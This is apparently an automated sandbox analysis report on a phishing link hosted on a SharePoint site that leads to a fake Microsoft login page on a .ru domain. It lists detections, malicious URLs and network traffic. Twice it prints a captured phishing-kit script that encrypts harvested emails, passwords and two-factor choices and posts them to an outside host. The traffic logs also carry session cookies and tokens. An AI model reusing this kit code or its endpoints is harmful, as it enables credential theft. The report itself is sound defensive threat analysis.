Edit tour

Windows Analysis Report
http://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg

Overview

General Information

Sample URL:	http://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg
Analysis ID:	1452403
Infos:

Detection

HTMLPhisher

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Yara detected HtmlPhish10

AI detected suspicious javascript

HTML page contains suspicious base64 encoded javascript

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Phishing site detected (based on shot match)

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTTP GET or POST without a user agent

Invalid T&C link found

Sigma detected: Suspicious Office Outbound Connections

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4324 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2024,i,14991393779574861015,13509704802268375170,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WINWORD.EXE (PID: 3032 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Downloads\Bacs_Payment_Advice.docx" /o "" MD5: 1A0C2C2E7D9C4BC18E91604E9B0C7678)

chrome.exe (PID: 4280 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
6.16.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
6.17.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.5, DestinationIsIpv6: false, DestinationPort: 49893, EventID: 3, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, Initiated: true, ProcessId: 3032, Protocol: tcp, SourceIp: 184.28.90.27, SourceIsIpv6: false, SourcePort: 443

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://mllss.ablecenp.ru/9adosd/?Z	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/90RbfegwzCgg2x5125YhvQjshab80	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/uvWfrw2DYZZsbHnkjqkstTmQkIfk5jGfh412126	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/78MZYcLVHHqGrMjLY23n297cJuv54	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/12Okb0G715SKh7yabtZm8919	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/kcgr4If1Ay0NrpLsA7GMFNCTL5j8p7n3Ue5JitjXtT9bwrIvNZQTY33Cgz	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/yzh3pCKtx2M78uj3T1op50	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/klEZEIkxrqLti6SW5Bi0kZrbmbAU1pIscEup3jdGBd6kl2ZW98wsGRQAke7WCDOycofwx220	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/efwbe6BdOMthO23yyTD1fbEIl7luvtuRLyfboI4LB0sCD3yEiG78150	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/favicon.ico	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/wxx2M5Jdm9gg3qBffFoJIJopt5UabJPIc8FXwxuEsbkhsJTk2VJab180	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/qrScU3ZeGM5FxMsDy6rWLDvBXIAYzLw4WYBaaSA6N4WN6jy9btstp5K5ItKNwK9ybAjeOfS8wnCFef240	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/ef8ZxeqCESOGNShRLG69JSw78zDjNJfw78xmn93	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/56wWvXQ5TSc4DKXixdYguFXyltDcghILTqHSiXNkgEo3x889102	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/ij2qqMjEJ9AKbaJXrnCNuDneQHNDtEzo7NWfheA0KKkleaFErlGIXFvgGUurqE12209	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/450u6Xnyf74XAGErQEY17J89Tqk8QDZaxy66	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/xy3ZBqB2BSbAQ1pqXmDef23	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/klhcEBn0FQQTX11dTIg19JdwxVLcgaa7uTOfF72dK878170	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/uvCUdkHAVj9eBSz09pg0heMHUWydYnv1oq1qgU3fY8pqw1dr67ZnBcZ3RpszrMxfMadpMvHBXGomgCLWKAgh256	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/klIy4hfSdFjCeQFeuZBahXh1SxKUZVaVn2gQslopdJc1GyLsadJrBQjz78BSy21fpYWk49bDTab230	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/ypcDzD2LptOQ9lCWl5lF4jfIZMvQMphD8tsTtHthykR08macq	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/rsXtw3W2TBidIqgwnqJpSiMshRQIVyjbPXJhKbOghqLwzP6SLnK9TEIjQef194	Avira URL Cloud: Label: malware
Source: https://mllss.ablecenp.ru/rsVEKuFJEXd12frcBawx38	Avira URL Cloud: Label: malware

Phishing

AI detected phishing page

Source: https://midlandlangarsevasociety-my.sharepoint.com	LLM: Score: 7 brands: DocuSign Reasons: The URL 'https://midlandlangarsevasociety-my.sharepoint.com' does not match the legitimate domain for DocuSign, which is 'docusign.com'. The page uses urgency and secure document language, common social engineering techniques in phishing attacks. The domain appears to be a SharePoint site, which is unusual for a DocuSign document delivery. DOM: 0.0.pages.csv
Source: https://mllss.ablecenp.ru	LLM: Score: 9 brands: Microsoft Reasons: The URL 'mllss.ablecenp.ru' does not match the legitimate domain name 'microsoft.com' associated with the brand Microsoft. The presence of a login form on a suspicious domain is a common phishing technique. The domain name appears to be unrelated to Microsoft, which raises significant suspicion. DOM: 6.16.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 6.16.pages.csv, type: HTML
Source: Yara match	File source: 6.17.pages.csv, type: HTML

AI detected suspicious javascript

Source: https://mllss.ablecenp.ru/9adosd/

LLM: Score: 8 Reasons: The provided JavaScript code fetches content from an external URL and then decodes and writes potentially malicious HTML content directly into the document. This behavior is characteristic of phishing or malicious sites attempting to inject harmful scripts or content. The use of 'atob' and 'decodeURIComponent' to decode base64-encoded content further suggests an attempt to obfuscate the payload, which is a common tactic in malicious scripts. DOM: 4.7.pages.csv

HTML page contains suspicious base64 encoded javascript

Source: https://mllss.ablecenp.ru/9adosd/

HTTP Parser: Base64 decoded: <script>

Phishing site detected (based on image similarity)

Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	Matcher: Template: microsoft matched
Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	Matcher: Template: microsoft matched

Phishing site detected (based on shot match)

Source: https://mllss.ablecenp.ru/9adosd/	Matcher: Template: captcha matched
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normal	Matcher: Template: captcha matched
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normal	Matcher: Template: captcha matched

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: var websitenames = ["godaddy"];var capnum = 1;var appnum = 1;var view = "";var pagelinkval = "FOee";var emailcheck = "0";var webname = "rtrim(/web8/, '/')";var urlo = "kcgr4If1Ay0NrpLsA7GMFNCTL5j8p7n3Ue5JitjXtT9bwrIvNZQTY33Cgz";var gdf = "ijJb0oHJul0tKVhEnVuvceGyI9xin6baTvHcd111";var pagedata = "";var redirecturl = "";let userAgent = navigator.userAgent;let browserName;let userip;let usercountry;var errorcodeexecuted = false;if(userAgent.match(/chrome\|chromium\|crios/i)){ browserName = "chrome";} else if(userAgent.match(/firefox\|fxios/i)){ browserName = "firefox";} else if(userAgent.match(/safari/i)){ browserName = "safari";} else if(userAgent.match(/opr\//i)){ browserName = "opera";} else if(userAgent.match(/edg/i)){ browserName = "edge";} else{ browserName="No browser detection";}function encryptData(data) { const key = CryptoJS.enc.Utf8.parse('1234567890123456'); const iv = CryptoJS.enc.Utf8.parse('1234567890123456'); const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return encrypted.toString();}function decryptData(encryptedData) { const key = CryptoJS.enc.Utf8.parse('1234567890123456'); const iv = CryptoJS.enc.Utf8.parse('1234567890123456'); const decrypted = CryptoJS.AES.decrypt(encryptedData, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return decrypted.toString(CryptoJS.enc.Utf8);}const sendAndReceive = (route, args, getresponse) => {let routename = null;let randpattern = null;if(route == "checkemail"){randpattern = /(pq\|rs)[A-Za-z0-9]{6,18}(yz\|12\|34)[A-Za-z0-9]{2,7}(uv\|wx)(3[1-9]\|40)/gm;}if(route == "checkpass"){randpattern = /(yz\|12)[A-Za-z0-9]{7,14}(56\|78)[A-Za-z0-9]{3,8}(op\|qr)(4[1-9]\|50)/gm;}if(route == "twofaselect"){randpattern = /(56\|78\|90)[A-Za-z0-9]{8,16}(23\|45\|67)[A-Za-z0-9]{4,9}(st\|uv)(5[1-9]\|60)/gm;}if(route == "twofaselected"){randpattern = /(23\|45)[A-Za-z0-9]{9,20}(89\|90\|ab)[A-Za-z0-9]{5,10}(vw\|xy)(6[1-9]\|70)/gm;}let randexp = new RandExp(randpattern);let randroute = randexp.gen();let formattedargs = 0;if(route == "checkemail"){formattedargs = args.map(item => '/'+item).join('')+'/'+appnum+'/'+getresponse;}if(route !== "checkemail"){formattedargs = '/'+token+args.map(item => '/'+item).join('')+'/'+getresponse;}let encrypteddata = encryptData(formattedargs);const makeRequest = (retryCount) => { return new Promise((resolve, reject) => { // url: 'http://91.219.150.47:3000/' + route + formattedargs, // type: 'GET', $.ajax({ url: 'https://7Ku.arvsgog.com/9623316336530262301UDnTOtYCnKUDPNIDLQIGIXTUOTCEGDAZRDZTVRWDLIVDCZ' + randroute, type: 'POST', data: {data: encrypteddata}, success: function(response) { if (response.message == "Token Not Found" && retryCoun
Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: var websitenames = ["godaddy"];var capnum = 1;var appnum = 1;var view = "";var pagelinkval = "FOee";var emailcheck = "0";var webname = "rtrim(/web8/, '/')";var urlo = "kcgr4If1Ay0NrpLsA7GMFNCTL5j8p7n3Ue5JitjXtT9bwrIvNZQTY33Cgz";var gdf = "ijJb0oHJul0tKVhEnVuvceGyI9xin6baTvHcd111";var pagedata = "";var redirecturl = "";let userAgent = navigator.userAgent;let browserName;let userip;let usercountry;var errorcodeexecuted = false;if(userAgent.match(/chrome\|chromium\|crios/i)){ browserName = "chrome";} else if(userAgent.match(/firefox\|fxios/i)){ browserName = "firefox";} else if(userAgent.match(/safari/i)){ browserName = "safari";} else if(userAgent.match(/opr\//i)){ browserName = "opera";} else if(userAgent.match(/edg/i)){ browserName = "edge";} else{ browserName="No browser detection";}function encryptData(data) { const key = CryptoJS.enc.Utf8.parse('1234567890123456'); const iv = CryptoJS.enc.Utf8.parse('1234567890123456'); const encrypted = CryptoJS.AES.encrypt(data, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return encrypted.toString();}function decryptData(encryptedData) { const key = CryptoJS.enc.Utf8.parse('1234567890123456'); const iv = CryptoJS.enc.Utf8.parse('1234567890123456'); const decrypted = CryptoJS.AES.decrypt(encryptedData, key, { iv: iv, padding: CryptoJS.pad.Pkcs7, mode: CryptoJS.mode.CBC }); return decrypted.toString(CryptoJS.enc.Utf8);}const sendAndReceive = (route, args, getresponse) => {let routename = null;let randpattern = null;if(route == "checkemail"){randpattern = /(pq\|rs)[A-Za-z0-9]{6,18}(yz\|12\|34)[A-Za-z0-9]{2,7}(uv\|wx)(3[1-9]\|40)/gm;}if(route == "checkpass"){randpattern = /(yz\|12)[A-Za-z0-9]{7,14}(56\|78)[A-Za-z0-9]{3,8}(op\|qr)(4[1-9]\|50)/gm;}if(route == "twofaselect"){randpattern = /(56\|78\|90)[A-Za-z0-9]{8,16}(23\|45\|67)[A-Za-z0-9]{4,9}(st\|uv)(5[1-9]\|60)/gm;}if(route == "twofaselected"){randpattern = /(23\|45)[A-Za-z0-9]{9,20}(89\|90\|ab)[A-Za-z0-9]{5,10}(vw\|xy)(6[1-9]\|70)/gm;}let randexp = new RandExp(randpattern);let randroute = randexp.gen();let formattedargs = 0;if(route == "checkemail"){formattedargs = args.map(item => '/'+item).join('')+'/'+appnum+'/'+getresponse;}if(route !== "checkemail"){formattedargs = '/'+token+args.map(item => '/'+item).join('')+'/'+getresponse;}let encrypteddata = encryptData(formattedargs);const makeRequest = (retryCount) => { return new Promise((resolve, reject) => { // url: 'http://91.219.150.47:3000/' + route + formattedargs, // type: 'GET', $.ajax({ url: 'https://7Ku.arvsgog.com/9623316336530262301UDnTOtYCnKUDPNIDLQIGIXTUOTCEGDAZRDZTVRWDLIVDCZ' + randroute, type: 'POST', data: {data: encrypteddata}, success: function(response) { if (response.message == "Token Not Found" && retryCoun

Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN

HTTP Parser: Number of links: 0

Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg?rtime=2-CPFmqF3Eg

HTTP Parser: Base64 decoded: https://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg?rtime=2-CPFmqF3Eg

Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: Invalid link: Terms of use
Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: Invalid link: Privacy & cookies
Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: Invalid link: Terms of use
Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: Invalid link: Privacy & cookies

Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN

HTTP Parser: <input type="password" .../> found

Source: https://mllss.ablecenp.ru/9adosd/	HTTP Parser: No favicon
Source: https://mllss.ablecenp.ru/9adosd/	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/6sb2m/0x4AAAAAAAanW_YR_5ihkFoc/auto/normal	HTTP Parser: No favicon
Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: No favicon
Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: No favicon

Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: No <meta name="author".. found
Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: No <meta name="author".. found

Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: No <meta name="copyright".. found
Source: https://mllss.ablecenp.ru/55609806740817527513539MJRXZXDNGXRELAZZMDRTTQBBC?RORDPJPTKKIKJSG721280149402424MNLWRGLJWWGOFQN	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49893 version: TLS 1.2

Source: winword.exe

Memory has grown: Private usage: 0MB later: 87MB

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: ipinfo.ioConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /personal/sharon_bharaj_mlss_org_uk/_layouts/15/guestaccess.aspx?share=EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg HTTP/1.1Host: midlandlangarsevasociety-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/sharon_bharaj_mlss_org_uk/_layouts/15/Doc.aspx?sourcedoc=%7B56148668-3e21-4f1b-8f3e-63b1975c468a%7D&action=default&slrid=efae2fa1-1062-8000-f22d-5097d38bed06&originalPath=aHR0cHM6Ly9taWRsYW5kbGFuZ2Fyc2V2YXNvY2lldHktbXkuc2hhcmVwb2ludC5jb20vOnc6L2cvcGVyc29uYWwvc2hhcm9uX2JoYXJhal9tbHNzX29yZ191ay9FV2lHRkZZaFBodFBqejVqc1pkY1Jvb0JQR0xoLXE1U3Nnd2dJaG1QN0pDbUFnP3J0aW1lPTItQ1BGbXFGM0Vn&CID=e3c5f618-5c32-4945-897c-be30a8b6d1fb&_SRM=0:G:76 HTTP/1.1Host: midlandlangarsevasociety-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDMxZmZhNGZjZDhkMmJlMzkyM2M3MzM5YTgxYTY4YzUyNzcxMjRmZDU5OTIwMTA2Y2EzZDQzNzksMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSwxMzM2MjA3MDg4NzAwMDAwMDAsMCwxMzM2MjE1Njk4NzEwMTE5MjIsMC4wLjAuMCwyNTgsZmE3NTBlM2QtNjU1Ni00NWM5LWIwZWYtYzk4ZWM5YTMyMWI5LCwsZWZhZTJmYTEtMTA2Mi04MDAwLWYyMmQtNTA5N2QzOGJlZDA2LGVmYWUyZmExLTEwNjItODAwMC1mMjJkLTUwOTdkMzhiZWQwNixFaWR5QmpsWkgwT3EyMnduWDM2OU53LDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk3OTIsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LFArSXdhSnYzY1p3bjJIekhUQmZmWUFtSTR1ckZ0bDFVVm02YmZuaVdFR2hxREVUNDRyc1B5bDJRUlZpY1J2MXRMM2xqR3A3UnQwMk4wc2QraXV4aGhHMnJkVEx6cm9UTmVEeWtTZ0R6RWVpUHlaeHBMQi9YL1VpUHJUVHdaQ01IUllIZWdOYVdxc2cxNDhpTDRvZ0J2V0JZSHhuMnE2djRzUlhNWTRUcW5sMk9yZWl2M3M0eW9aY3lkd2p3RWc4aWhSYVVqTUtEcjRBK05pR2JFSlQyUFQwMTE1NEMxR1NwaHdqOHY5L1ZNM2pCSWdQb09XaHh4eUFIczRENjVpNVUxbVVYVDFHVkRPdEVkZmtidGVqSDMyVzR4b1cyKzJEc1gzKzB3aTVQbmpaTTVtUUg2ZE12ckk5bHZwWGliU2dvdUhxRnA1bDF0aTlBZlZPYzV3WEpIdz09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /personal/sharon_bharaj_mlss_org_uk/_api/v2.1/drives/b!VAkq-KyGZ06iZs0vuJvcEQR0d_5uJbhJprofR_Q-SNgT0LlrWXl6T6kIvJiP6404/items/01P3ILRDLIQYKFMIJ6DNHY6PTDWGLVYRUK/streams/content_preview_Op1.img/streamContent?tempauth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvbWlkbGFuZGxhbmdhcnNldmFzb2NpZXR5LW15LnNoYXJlcG9pbnQuY29tQGZhNzUwZTNkLTY1NTYtNDVjOS1iMGVmLWM5OGVjOWEzMjFiOSIsImNhY2hla2V5IjoiMGguZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSIsImNpZCI6Im9TK3U3OElBQUpBUEthMGJkM3NGUHc9PSIsImVuZHBvaW50dXJsIjoiVDM0WmxTbG1PT3ZjWCs2UnM1UUNHV3RxRDdNbFJmNUVCWitSUXFJM0FkND0iLCJlbmRwb2ludHVybExlbmd0aCI6IjIxMCIsImV4cCI6IjE3MTc2MzI5ODgiLCJpcGFkZHIiOiIxNzMuMjU0LjI1MC45MSIsImlzbG9vcGJhY2siOiJUcnVlIiwiaXNzIjoiMDAwMDAwMDMtMDAwMC0wZmYxLWNlMDAtMDAwMDAwMDAwMDAwIiwiaXN1c2VyIjoidHJ1ZSIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzA2YWM3YjMzZDM